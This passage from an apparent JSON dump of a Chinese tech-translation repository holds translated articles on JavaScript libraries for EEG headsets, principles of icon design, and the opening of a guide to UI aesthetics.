[也会参与其中](http://www.castillo.io/blog/2016/4/25/neurojavascript/getting-your-brainwaves-to-the-browser-with-javascript)。\n\n作为在 [**Bit**](https://bitsrc.io) 工作的一部分,我们一直在努力追寻 Javascript 前沿应用。所以，在这里是我们找到的一些非常炫酷的处理脑电图的 Javascript 库和示例。欢迎你能够提供其他更多有用的项目！\n\n### 1. Muse-js\n\n![](https://cdn-images-1.medium.com/max/1600/1*gN7_qSoxnCv7y2rW8WpO2g.gif)\n\n从这篇文章可以找到一个示例：[https://medium.com/@urish/reactive-brain-waves-af07864bb7d4](https://medium.com/@urish/reactive-brain-waves-af07864bb7d4)\n\nMuse-js 是一个与 2016 Muse 脑电头盔相匹配的 Javasript 库（使用 web bluetooth）。灵感来自于 [muse-lsl](https://github.com/alexandrebarachant/muse-lsl/blob/d2b74412585f3baa852516542a0d0853faec1b4e/muse/muse.py) python 库, muse-js 由 [@UriShaked](https://twitter.com/UriShaked) 编译，它的目标是：通过人脑直接控制网页。为什么不可以呢？\n\nMuse - js 可以让 web 开发者通过浏览器、RxJs 和 Angular 这样的工具去连接、分析或可视化脑电图数据。除了处理“普通”的脑电信号并把它们传送到网页上，muse-js 还可以处理与眼睛移动相关的脑电信号, 这不仅仅超级炫酷，而且对于人类认知的前沿研究也非常有帮助。尝试一下。\n\n* [**urish/muse-js**: muse-js — Muse 2016 脑电头盔 Javascript 库（使用 Web Bluetooth）](https://github.com/urish/muse-js)\n\n* [**Reactive Brain Waves**: 如何使用 RxJS、Angular 和 Web Bluetooth，配合脑电头盔，发掘你的大脑](https://medium.com/@urish/reactive-brain-waves-af07864bb7d4)\n\n### 2. Wits\n\n![](https://cdn-images-1.medium.com/max/1600/1*AlCW5rzbus1jqJBDSiIkRw.gif)\n\nwits 是 Brain-Bits 项目的一部分, 它是一个 Node.js 库，可以读取来自 [Emotiv](https://www.emotiv.com/) EPOC 脑电头盔的脑电图信号。它由原生 C 模块实现（基于 [openyou/emokit-c](https://github.com/openyou/emokit-c.git)），以 128Hz 采样率的速度处理 14 路电极原始的脑电图数据流，并且给终端用户提供了丰富的接口。这里有个例子，欢迎试用一下。\n\n```Javascript\nconst mind = require('wits')\nmind.open()\nmind.read(console.log)\n```\n\n* [**dashersw/wits**：wits — 一个使用 Emotiv EPOC 脑电头盔来读心的 Node.js 库](https://github.com/dashersw/wits)\n\n### 3. Brain-monitor\n\n![](https://cdn-images-1.medium.com/max/1600/1*hDVSjp4vSjrmqt0wwvKU1Q.gif)\n\nBrain-monitor 实际上是一个用 Javascript 编写的可以实时显示脑电图信号的终端应用。它配合 Emotiv EPOC 脑电头盔一起工作，以 128Hz 的采样频率对 14 个电极的原生脑电信号进行分析，并能处理一些额外的信息，比如头的方向，甚至是头盔的电量。对于喜欢使用命令行的开发者，这是个不错的选择。\n\n* [**dashersw/brain-monitor**: _brain-monitor — 一个用 Node.js 编写的实时显示脑电信号的终端应用](https://github.com/dashersw/brain-monitor)\n\n### 4. Brain-bits\n\n![](https://cdn-images-1.medium.com/max/1600/1*6pYMJ2_4fV8iMP2_sPwTAg.gif)\n\n由 wits 和 brain-monitor 的开发者创建，Brain-bits 是为 Emotiv 脑电头盔所做的一套 P300 在线拼写系统。这个项目基于 [Electron](https://electronjs.org) 应用，后端运行 Node，而前端使用 Vue.js，利用 Node.js 的原生模块以及 [brain.js](https://github.com/BrainJS/brain.js) 来处理神经网络，并使用 [d3](https://d3js.org) 来绘制脑电图。你可以在开发者在 2018 Amsterdam JS 论坛上的 [这次演讲](https://www.youtube.com/watch?v=_4nrh6mTt4E) 里面看到一个现场演示，并能了解更多内容。\n\n* [**dashersw/brain-bits**: _brain-bits — 一套为 Emotiv 脑电头盔使用的 P300 在线拼写系统。使用 Node.js 编写，GUI 是……](https://github.com/dashersw/brain-bits)\n\n### 5. EEG-101\n\n![](https://cdn-images-1.medium.com/max/1600/1*iPMqXQS3FK1lOa3sD6oolw.png)\n\nEEG-101 是一个使用 Muse 和 React Native 来教授脑电图和 BCI 基础知识的交互式神经学的 [教程应用](https://play.google.com/store/apps/details?id=com.eeg_project&hl=en)。内容包括信号从哪里来，设备如何工作以及如何处理数据。使用 React Native 开发了 Android 应用，项目包含了一个用于脑电图数据的通用二进制分类器，它使用 LibMuse Java API 获取来自 Muse 头盔的数据流。这是一种很好的采集和播放脑电信号的方式。\n\n* [**NeuroTechX/eeg-101**: _eeg-101 — 使用 Muse 和 Reac Native 来教授脑电图和 BCI 基础知识的交互式神经学教程应用。](https://github.com/NeuroTechX/eeg-101)\n\n### 6. EEG pipes\n\n![](https://cdn-images-1.medium.com/max/1600/1*1SPDOMNKy-3ntUgiDnpeDA.png)\n\n这个项目提供在 Node 和浏览器环境中处理脑电图数据的可管道化的 RxJS 操作符，包括的功能比如 FFT、功率谱密度（PSD）和功率带宽、缓冲和 Epoching、IIR 滤波器等。注意需要一个关于脑电图的 Observable，可以使用 RxJS 的 `fromEvent` 将回调事件压入 Observable 流中。试用一下。\n\n* [**neurosity/eeg-pipes**: _eeg-pipes — 在 Node 和浏览器中处理脑电图数据的可管道化 RxJS 操作符](https://github.com/neurosity/eeg-pipes)\n\n### 7. Open BCI & JS\n\nOpen BCI 是一个提供脑机接口和低成本硬件的开源项目。由工程师、研究人员和制造商组成的开发小组创建，他们希望“分享对利用脑电信号来更深入地理解并扩展我们是谁的坚定热情”。\n\n基于此，它为各种各样脑电相关软硬件实现构筑了一个基础。其中有一些非常棒的 Javascript 实现，使用从 Node.js 到 Angular 进行脑电图处理、可视化和一系列工作。这是一些例子。\n\n* [**pwstegman/WebBCI**: _WebBCI — :bar_chart: 基于 JavaScript 的脑电信号处理]((https://github.com/pwstegman/WebBCI)\n\n* [**NeuroJS/openbci-dashboard**: _openbci-dashboard — 一个获取并可视化 OpenBCI 脑电数据的全栈 Javascript 应用](https://github.com/NeuroJS/openbci-dashboard)\n\n* [**neurosity/openbci-observable**: _openbci-observable — Making OpenBCI for Node Reactive_github.com](https://github.com/neurosity/openbci-observable)\n\n* [**alexcastillo/angular-openbci-rx**: _angular-openbci-rx — 使用 Angular 4 实现脑电时序数据可视化](https://github.com/alexcastillo/angular-openbci-rx)\n\n* * *\n\n### 还可以看看：\n\n* [**karan/brain2music**: _brain2music — :音符: 脑电波数据实时音乐转换（更像是噪音）](https://github.com/karan/brain2music)\n\n* [**NeuroJS/topogrid**: _topogrid — javascript library for interpolation of topographic EEG plots](https://github.com/NeuroJS/topogrid)\n\n* * *\n\n### 遇见 Bit\n\n[**Bit**](https://bitsrc.io) 可以帮助你的团队通过导入组件和模块到编译模块中来快速搭建应用，这些非常容易分享、开发并在任意地方去构建新的工程项目。用 Javascript、React 或者其他方式试用下 Bit。\n\n* [**Bit — 共享和创建代价组件**: Bit 可以帮助你在项目和应用之间共享、发现并使用代码组件来创建新功能特性和其他……](https://bitsrc.io/)\n\n* * *\n\n### 更多了解\n\n* [**Monorepos Made Easier with Bit and NPM**：如何利用 Bit 和 NPM 更简单地创建 Monorepos。](https://blog.bitsrc.io/monorepo-architecture-simplified-with-bit-and-npm-b1354be62870)\n\n* [**Write GraphQL APIs on Node with MongoDB**：如何使用 Node.js 和 MongoDB 来编写 GraphQL APIs。](https://blog.bitsrc.io/write-graphql-apis-on-node-with-mongodb-f3d0084cbbb8)\n\n* [**11 Javascript Utility Libraries You Should Know In 2018**：能够加快开发的 11 个有用的 Javascript 工具包。](https://blog.bitsrc.io/11-javascript-utility-libraries-you-should-know-in-2018-3646fb31ade)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/7-principles-of-icon-design.md",
    "content": "> * 原文地址：[7 Principles of Icon Design](https://uxdesign.cc/7-principles-of-icon-design-e7187539e4a2)\n> * 原文作者：[Helena Zhang](https://medium.com/@minoraxis)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/7-principles-of-icon-design.md](https://github.com/xitu/gold-miner/blob/master/TODO1/7-principles-of-icon-design.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Chorer](https://github.com/Chorer)，[niayyy-S](https://github.com/niayyy)\n\n# 关于 icon 设计的 7 个准则\n\n> 明确性、可读性、校准、简洁性、一致性、特性、易用性。\n\n![](https://cdn-images-1.medium.com/max/9600/1*a-zerv-uouThOe0ItxW8bQ@2x.png)\n\n打造出一套高质量的 icon 库需要深思熟虑、专业的眼光、一些迭代和大量的实践。在这篇文章中，我将通过 7 个准则和大量的实际例子来说明 **高质量** icon 库的特征。希望您从中能学习到设计优秀 icon 的技巧。\n\n## 明确性\n\nicon 的主要目的是快速传达一个概念。\n\n![普锐斯主仪表盘上的 icon（来自：[2020 年手册](https://www.toyota.com/t3Portal/document/om-s/OM47C77U/pdf/OM47C77U.pdf)）](https://cdn-images-1.medium.com/max/8000/1*gIW6QI70azGalzYXicxj6A@2x.png)\n\n在上面这一系列符号中，哪些您能马上读懂？有经验的驾驶员也许能够了解这些图标的含义。但是的确，某些图标并不直观。您甚至需要一本手册才能明白它们含义。\n\n以下是我对它们大致的感受：\n\n![](https://cdn-images-1.medium.com/max/8000/1*JOQqjiYvUCeyxZIk2t0FQA@2x.png)\n\n当 icon 使用了不熟悉的隐喻时，我们很难理解它。安全带提醒灯的 icon（从左数第三个）非常直观，我们马上就能明白它的意思。而电力转向系统警示灯的 icon（最右边）的意思我们就很难读懂。\n\n通常，一个难以理解的 icon 会令人沮丧。并且对于驾驶员来说，误解了警告 icon 将是十分危险的。\n\n下面是一些我们比较熟悉的 icon —— 爱情、警告、音乐以及向上/向前的符号：\n\n![人们熟悉的隐喻 icon，来自 [Phosphor Carbon](https://play.google.com/store/apps/details?id=com.tobiasfried.phosphor) icon 库](https://cdn-images-1.medium.com/max/8000/1*qLfMs1ZZBWVI7QUlkKcLxg@2x.png)\n\n箭头是在指路中使用的强大符号：\n\n![纽约地铁标志（来自：[纽约市交通管理局图形标准手册的原件的原始副本的截取](https://standardsmanual.com/pages/original-nycta)）](https://cdn-images-1.medium.com/max/8000/1*Qo1uR98wkC29ZyvLSzbguw@2x.png)\n\n最理想的 icon 不仅对于一群人来说是易于理解的，而且在不同的文化、年龄和背景下都是通用的。站在您的用户角度思考，使用能与用户产生共鸣的隐喻和色彩。\n\n请记住，如果 icon 所表示的意思太抽象，那么单独的 icon 可能不是表达性最好的解决方案。在这种情况下，将 icon 加上文本标签，或者寻找其它的解决方法。\n\n## 可读性\n\n有了可以理解的 icon 后，请确保其可读性。\n\n![Amtrak App 中的 icon](https://cdn-images-1.medium.com/max/8000/1*NbBP3PbawGUgXxzzrj-T1g@2x.png)\n\n上面（第一行）的 **Amtrak** （美国铁路）App 中的车站 icon 就很难辨认出来，因为细节太多了。\n\n**Transit** （美国公交）App 也有类似的问题。因为在板子和夹子之间的间隙太小，所以它们的剪贴板图标看起来像一团墨水：\n\n![Transit App 中的 icon](https://cdn-images-1.medium.com/max/8000/1*UPqYFGMOC_eCb0DiE97NRA@2x.png)\n\n稍作调整将带来很大的改进：\n\n![调整后的 剪贴板 icon](https://cdn-images-1.medium.com/max/8000/1*g-CLlEXT-PChQCVoQCb19Q@2x.png)\n\n当处理多个形状时，在它们之间留出足够的空间。过细和更多的笔触会使得 icon 更复杂，更难以阅读。\n\n**谷歌地图** 在这一方面就做得很好，他们的交通图标即使在极小的尺寸下也非常易读：\n\n![Google Map 的 icon](https://cdn-images-1.medium.com/max/8000/1*hFjIw309hZhvYpMTi5XV-g@2x.png)\n\n## 校准\n\n为确保每个图标看起来平衡，需要在视觉上校准元素。\n\n![](https://cdn-images-1.medium.com/max/8000/1*JPa-0i__W8X0pnciM8lAYQ@2x.png)\n\n在这个播放 icon 中，尽管三角形按长度标准放在了圆的中心，我们的眼睛还是认为它不在中心。这是因为三角形较宽的部分看起来比点“重”，使得三角形视觉上向左侧偏移。\n\n这就像排版人员通过视觉错觉来精细调整字体，从而达到平衡的视觉效果。（注意下图中，字母 “i” 和字母 “j” 上偏移中心的点以及[超出准线](https://frerejones.com/blog/typeface-mechanics-001/)的字母 “O”)\n\n![](https://cdn-images-1.medium.com/max/8000/1*LqX2JnQGszK7jtY0cw4r2A@2x.png)\n\n—— icon 设计师会进行类似的调整以平衡图标。要更正上面的示例，请稍微移动元素：\n\n![](https://cdn-images-1.medium.com/max/8000/1*R3xPSuB-vICjJAig6rQ0xA@2x.png)\n\n这看起来就好多了。\n\n这里我们学到的是：不要简单地相信数字；用您的眼睛检查您的工作。\n\n## 简洁性\n\n用简单的几句话完整地表达一个想法，会让人感到高效和优雅。比如下面这句话：\n\n> 教授您所知道的东西可以加强您对这门学科的理解。（Teaching what you know strengthens your own understanding of the subject.）\n\n我们可以更简洁地说（来自 Robert Heinlein）：\n\n> 教学相长。（When one teaches, two learn.）\n\n这就十分优雅了。\n\n在将简洁性作为系统中 icon 的设计导向这个方面，**Material** 风格就做得很好。与其使用这种 icon：\n\n![过于复杂的船 icon（来自：[Material](https://material.io/design/iconography/system-icons.html)）](https://cdn-images-1.medium.com/max/8000/1*MRInntlrUtShOA1q2o5hBA@2x.png)\n\n不如使用简单的：\n\n![简洁的船 icon （来自： [Material](https://material.io/design/iconography/system-icons.html)）](https://cdn-images-1.medium.com/max/8000/1*smf9YlD_yZ59FMx7d1x1AA@2x.png)\n\n简洁性尤其适用于 icon 设计，因为我们经常在小画布上工作。为您的图标使用适当的细节就好，不要增加一些您不需要的。\n\n在用户界面中，简化的风格可以帮助用户抓住重点并为突出内容。比如，**Telegram** 的 icon 就很简洁有趣：\n\n![Telegram icon](https://cdn-images-1.medium.com/max/8000/1*iF_GaiwikGuOO9aWlteRzA@2x.png)\n\n有时，UI icon 需要具有更强的说明性。**Yelp**（美国商户点评）中这些多色调的 icon 是显示热门食物搜索的一种令人愉快的方式。泰国菜里的虾很精致：\n\n![来自 [Scott Tusk](https://www.instagram.com/scottt0023/) 的 Yelp icon](https://cdn-images-1.medium.com/max/8000/1*sfStr_fEdvb8IkkvP3DwiQ@2x.png)\n\n对于代表移动、平板和桌面应用的 **App** icon，可以用更多的深度和颜色来增加适当的细节。因为用户清楚自己现在是在设备主屏幕还是屏幕下方的菜单栏（在 iPhone 手机中，指 dock 栏）还是应用商店，所以使用更好地表达品牌和产品的 icon 会比较好。\n\n![Apple 中[一些应用的 icon](https://developer.apple.com/design/human-interface-guidelines/ios/icons-and-images/app-icon/)](https://cdn-images-1.medium.com/max/8000/1*TkO-RQ90wHYlFa2EAigG5w@2x.png)\n\n## 一致性\n\n为了使 icon 库看起来和谐，请始终保持相同的样式规则。\n\n在 iOS 13 之前，**Apple** 的图标展具有各种笔触，填充和大小：\n\n![在 iOS 13 之前，来自 Apple [主页屏幕的快捷操作](https://developer.apple.com/design/human-interface-guidelines/ios/icons-and-images/system-icons/) 的 icon](https://cdn-images-1.medium.com/max/8000/1*Fg6ZRRCMGCEw1oS90ucBhg@2x.png)\n\n瞇着眼睛看这一组 icon。您有感觉到有些图标比其它的看起来更“重”吗？\n\n任何给定的 icon 都有一定的视觉**权重**，这是由填充、笔触厚度、大小和形状等参数决定的。在一系列 icon 中保持这些参数不变就可以建立一致性。\n\n![](https://cdn-images-1.medium.com/max/8000/1*tZ2fvHU7CErrqkvgtSvFXg@2x.png)\n\n**Apple** 最近修正了他们 [SF Symbols 的介绍](https://developer.apple.com/videos/play/wwdc2019/206)，SF Symbols 是 [San Francisco](https://developer.apple.com/fonts/) 字体的绝佳伴侣。SF Symbols 拥有 9 种权重和 3 种比例的图形 icon 风格（也许有点复杂，绝对详尽）。我们可以发现 icon 之间的过渡 ，填充和轮廓变量变得更加和谐了。\n\n![来自 Apple [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols/overview/)的 icon](https://cdn-images-1.medium.com/max/8000/1*4mYEN31EDW-0sPygspMWdw@2x.png)\n\n要维护一个庞大 icon 库的一致性可不是一件容易的事，特别是当多个作者参与其中时。遵循明确的原则和规则是至关重要的。\n\n**Phosphor** icon 库 —— 由我设计并由[我的另一半](https://github.com/rektdeckard)搭建，通过坚持相同的设计原则和严格测试每个图标来保持 700 多个图标的一致性。虽然每一个都有不同的形状，但它们都有相同的视觉权重，并且很好地结合在一起：\n\n![[Phosphor Carbon](https://play.google.com/store/apps/details?id=com.tobiasfried.phosphor) icon 库中的一个子集](https://cdn-images-1.medium.com/max/8000/1*EjIs1qySoJTw7uq3Hup9Rg@2x.png)\n\n## 特性\n\n每个 icon 集都有自己的风格。是什么让它风格独一无二？它是如何对品牌进行的表达？它会给我们带来怎样的心情？\n\n![Waze 的 icon](https://cdn-images-1.medium.com/max/8000/1*YnZ3LY648T0ewn4JfBj9Bw@2x.png)\n\n**Waze** 的可爱的界面很大程度上依赖于它们的 icon。这些五颜六色、矮胖的图标上仿佛写着：我们不一样！ \n\n**Twitter** 的 icon 是比较柔软、轻盈的：\n\n![Twitter 的 icon](https://cdn-images-1.medium.com/max/8000/1*jTJJN-bL43r9w1h4hRdeLw@2x.png)\n\n**Sketch** 的 icon 是比较精致和轻快的：\n\n![[Sketch](https://www.sketch.com/) 的 icon 来自 [Janik Baumgartner](https://dribbble.com/janik)](https://cdn-images-1.medium.com/max/8000/1*8RUcOyj47DMvDWj32aVzlg@2x.png)\n\n**Freemojis** 的 icon 是比较可爱的：\n\n![[Freemojis](https://app.streamlineicons.com/freemojis) 的 icon 来自 [Streamline](https://streamlineicons.com/)](https://cdn-images-1.medium.com/max/8000/1*Pz-DDw-6DhwZTXZKdxXfBg@2x.png)\n\nAndroid 的 icon 包迎合了主屏幕主题的多种需求，下图分别是抽象、像素、泡沫、和霓虹灯风格：\n\n![从上到下，从左到右分别是：[iJUK](https://play.google.com/store/apps/details?id=com.sikebo.ijuk.icons.simple&hl=en_US)、[PixBit](https://play.google.com/store/apps/details?id=pixbit.prime)、[Crayon](https://play.google.com/store/apps/details?id=com.jndapp.cartoon.crayon.iconpack)、[Linebit](https://play.google.com/store/apps/details?id=com.edzondm.linebit)](https://cdn-images-1.medium.com/max/8000/1*RMr0OXf8Sx3usFwGL3HGpQ@2x.png)\n\n## 易用性\n\n一个 icon 集被完美地设计出来还不够。它需要进一步的测试和准备，以确保贡献者可以方便地添加新 icon，设计师可以在设计中使用它们（用于屏幕、打印等），工程师可以在开发中使用它们。\n\n一个高质量 icon 集应该是**组织有序的**、 **文档完善的**，并在上下文中进行过**测试**了的。除此之外，它最好还能：支持一些**自定义工具**，如 icon 管理器。\n\n#### 组织有序的\n\n保持 master 分支文件干净，正确命名和存放您的资源文件，这样就很容易可以找到它们，正确命名您的资源文件，把它们放在容易找到的地方。选择一个最适合的分类方法。按字母顺序？按大小？按类型？\n\n![[Nucleo](https://nucleoapp.com/premium-icons) 的 Sketch 文件，按类型组织并分页。](https://cdn-images-1.medium.com/max/8000/1*GRmcLkIwBIiF_x3J-4puYA@2x.png)\n\n#### 文档完善的\n\n表达清楚 icon 库的关键原则：\n\n```\nPhosphor icon 库的原则示例（其实就是对上面介绍的内容）：\n\n• 明确性。首先 icon 要清晰明确。使图标易识别和易读。永远不要舍弃 icon 所表达的明确性。\n\n• 简洁性。使用尽可能少的细节。Phosphor 的风格是简化的风格。icon 中的每一笔都要简明扼要，有意识地传达所要表达的本质。\n\n• 特性。可以是独具特色的。适当地添加独特的细节，可能会为原本非常严肃正经的 icon 集增添一丝温暖和乐趣。\n```\n\n列出技术规则：\n\n```\nPhosphor icon 库的技术规则示例：\n\n• 使用 48x48px 的画布\n\n• 使用 1.5px 的中心笔触\n\n• 使用圆角\n\n• 除非断开有助于 icon 的理解，否则请使用连续的笔触。\n\n• 尽可能使用笔直的线段，完美的弧度和 15° 的角度增量\n\n• 必要时调整曲线以遵循设计原则\n\n• 尽可能使用整数、偶数增量进行测量；必要时可以折至 1px 和 .5px \n\n• 使用以下的形状关键线：28x28px 圆形、25x25px 正方形、28x22px 横向矩形、22x28px 纵向矩形\n\n• 保留 6px 的修剪区域\n```\n\n重复上面的这些，如果您愿意，可以像下面一样将文档公开：\n\n* [Material 系统 icon](https://material.io/design/iconography/system-icons.html)\n* IBM 的 [UI icon](https://www.ibm.com/design/language/iconography/ui-icons/design/)、[App icon](https://www.ibm.com/design/language/iconography/app-icons/design/) 以及 [icon 贡献者指南](https://www.carbondesignsystem.com/guidelines/icons/contribute/)\n* [Shopify Polaris 的 icon](https://polaris.shopify.com/design/icons)\n* [Atlassian Iconography（产品）](https://www.atlassian.design/guidelines/product/foundations/iconography)\n\n#### 测试\n\n检查一致性。确保 icon 在上下文中以相应的大小工作。确保它们在更大的视觉系统也能协调工作。\n\n将 icon 放在一起有助于验证我们的原则，这些原则包括明确性、可读性、校准、简洁性、一致性和特性：\n\n![[Phosphor](https://play.google.com/store/apps/details?id=com.tobiasfried.phosphor) 在质量保证过程中的测试 icon 样单](https://cdn-images-1.medium.com/max/8000/1*cgP99N8laiD4jA6wh43yTA@2x.png)\n\n#### 自定义工具\n\n最后，如果您有足够的资源和能力，请创建能够方便使用图标的工具。\n\n**Material** 通过自定义 icon 资料库我们能够更方便地访问他们的 icon。我们可以搜索需要的 icon，在喜欢的文件格式中下载不同风格（主题）、不同颜色、不同大小的 icon：\n\n![Material’s easy-to-use [icon library](https://material.io/resources/icons/?style=baseline)](https://cdn-images-1.medium.com/max/8000/1*6xbfiFeRNVYQITy64tYYGg@2x.png)\n\n我们使用的 icon 是有生命的。我们要给予它成功和成长所需要的爱和工具。\n\n---\n\n## 相关资源\n\n#### icon 资料库\n\n一些可选项：\n\n* [Feather](https://feathericons.com/)，精美的 icon 集，提供 200 多个可以自由缩放的最小轮廓 icon。\n* [Material system icons](https://material.io/resources/icons/?style=baseline)，1 千多个具有 5 种风格的实用 icon。\n* [Nucleo](https://nucleoapp.com/premium-icons)，约有 3 万种 icon，提供 3 种样式：轮廓，平面/彩色和字形。\n* [Streamline](https://streamlineicons.com/)，精美的 icon 集，提供 3 万多个具有 3 种视觉权重的线性风格 icon。\n\n#### icon 大集合\n\n* [Noun Project](https://thenounproject.com/)， 尽管 icon 的质量参差不齐，但这也是从样式和隐喻中寻找灵感的好方法。\n\n#### icon 管理器\n\n* 使用 [Nucleo app](https://nucleoapp.com/application)，在您导入 icon 集后，可以查看、导出 icon，还可以将 icon 拖拽到您喜欢的设计软件中。\n\n---\n\n🎶 **文章的音频版：[The Black Dog](https://open.spotify.com/artist/7qdsk0UXx2jCX7jbp6rxeq?si=R2z1R-xpT9K3Cmfp40lcrQ) 和 [Autechre](https://open.spotify.com/artist/6WH1V41LwGDGmlPUhSZLHO?si=9PBpv0i5QSiM66cd1G7mxQ)**\n\n🙏 **感谢：Toby Fried、Monica Chang、Darcy O’Donnell、Sara Thompson、Lonny Huff、Stephany Shigekuni、Clarissa Soto、Tate Chow、Christine Lee、Victor Vasquez、Chris Rodemeyer、David Landa、Pawel Piekarski、Matthew Vargas**\n\n```\n这是我们 icon 系列的第一篇文章。请敬请关注该系列的后续文章：\n\n• 5 步创建一个 Settings icon \n\n• icon 网格 & 关键线大揭秘\n\n• icon 设计中的像素捕捉：捕捉或不捕捉\n```\n\n> 如果发现译文存在错误或其它需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/7-rules-for-creating-gorgeous-ui-part-1.md",
    "content": "> * 原文地址：[7 Rules for Creating Gorgeous UI (Part 1)](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-1-559d4e805cda)\n> * 原文作者：[Erik D. Kennedy](https://medium.com/@erikdkennedy?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)\n> * 译者：[wzasd](https://github.com/wzasd)\n> * 校对者：[xujunjiejack](https://github.com/xujunjiejack)、[lihanxiang](https://github.com/lihanxiang)\n\n# 创造华丽 UI 的 7 个规则（Part 1）\n\n## 数学美学的非艺术性入门指南\n\n### 介绍\n\n好的，让我们先说重要的事。这个指南并不适用于所有人。那这本指南的目标用户是谁呢？\n\n*   **开发人员** 希望能够在一个开发中设计一个属于他们的看起来很不错的用户界面。\n*   **UX 设计师** 希望他们的产品组合看起来比五角大楼幻灯片更好看。或者那些知道他们可以在一个漂亮的 UI 中更好的实现他们出色的用户体验的设计师。\n\n如果你去过艺术学校或者自认为已经是一名 UI 设计师，那么你可能发现这个指南结合了 a.) 无聊、b.) 错误和 c.) 令人生气。没关系，您的所有批评一定都是对的。让我们一起关闭标签。\n\n\n让我告诉你会在本指南中找到什么。\n\n首先，我是一名没有任何 UI 技能的 UX 设计师。我**热爱** UX 设计，很久以前，我并不关心用户界面，在我意识到有很多好的理由来学习如何使界面看起来不错后，才下定决心学习。\n\n*   我的作品集看起来很糟糕，没办法充分反应我的思考过程和我的工作。\n*   咨询我 UX 的客户宁愿购买其他人的技能，因为他们的专长不仅仅是绘制箱子和箭头。\n*   我是否像在某个时期进行创业工作？最好做一个清扫工。\n\n我有我自己的借口。**我并不理解美学，因为我认为他们都是在说废话，我主修工程学 — 我都快以创造一些难看的东西为荣了。**\n\n> **“我并不理解美学，因为我认为他们都是在说废话，我主修工程学 — 这简直就是一种标签，我都快以创造一些难看的东西为荣了。”**\n\n最后，我终于学会了到底什么是应用程序的美学，就像是我努力学习其他创作的事物一样：**冷静，理性分析**。厚颜无耻的复制了有用的东西。我已经在一个 UI 项目上工作了 10 个小时，然而实际只为了项目付出了 1 个小时。其他 9 个小时拼命搜索谷歌、Pinterest 和 Dribbble 去里面复制有用的东西！\n\n我在这些时间里学到的教训。\n\n**对于书呆子而言：如果我现在擅长设计用户界面，那是因为我已经分析很多东西 — 而不是因为我通过直观的对美以及平衡的理解才走出误区。**\n\n这篇文章并不是理论的阐述。只是很纯粹的应用文章。你不会看到关于黄金分割线的任何信息。我甚至不会提色彩理论。只有我从错误学到的东西，并不断将进行[刻意练习](http://calnewport.com/blog/2010/01/06/the-grandmaster-in-the-corner-office-what-the-study-of-chess-experts-teaches-us-about-building-a-remarkable-life/)。\n\n用这种方式思考：柔道是根据几个世纪的日本武术和哲学传统演化而来的。你参加了柔道课程，除此之外，你还会听到关于能量、流动以及和谐等知识。\n\n另一方面，Krav Maga 则是由一些在 30 年代捷克斯洛伐克犹太人在街头与纳粹抗争时发明的。那并没有**艺术**在中间。在 Krav Maga 课程中，你将会学到如何用笔刺入某人的眼睛。\n\n这是屏幕中的 Krav Maga。\n\n#### 规则\n\n规则在这里:\n\n1.  **光线来自天空。**\n2.  **首选白色和黑色。**\n3.  **添加更多的空白。**\n4.  **学习如何在图片上添加文字。**（查看[部分](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96) 2）\n5.  **使文本弹出和取消弹出。**（查看[部分](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96) 2）\n6.  **只使用好看的文体。**（查看[部分](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96) 2）\n7.  **像艺术家一样借鉴。**（查看[部分](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96) 2）\n\n让我们开始吧。\n\n### 规则一：光线来自天空\n\n**阴影是最有效的提示，用来告诉人类的大脑哪些是他们正在查看的用户界面的元素。**\n\n这也许是**容易被忽视却很重要**去学习 UI 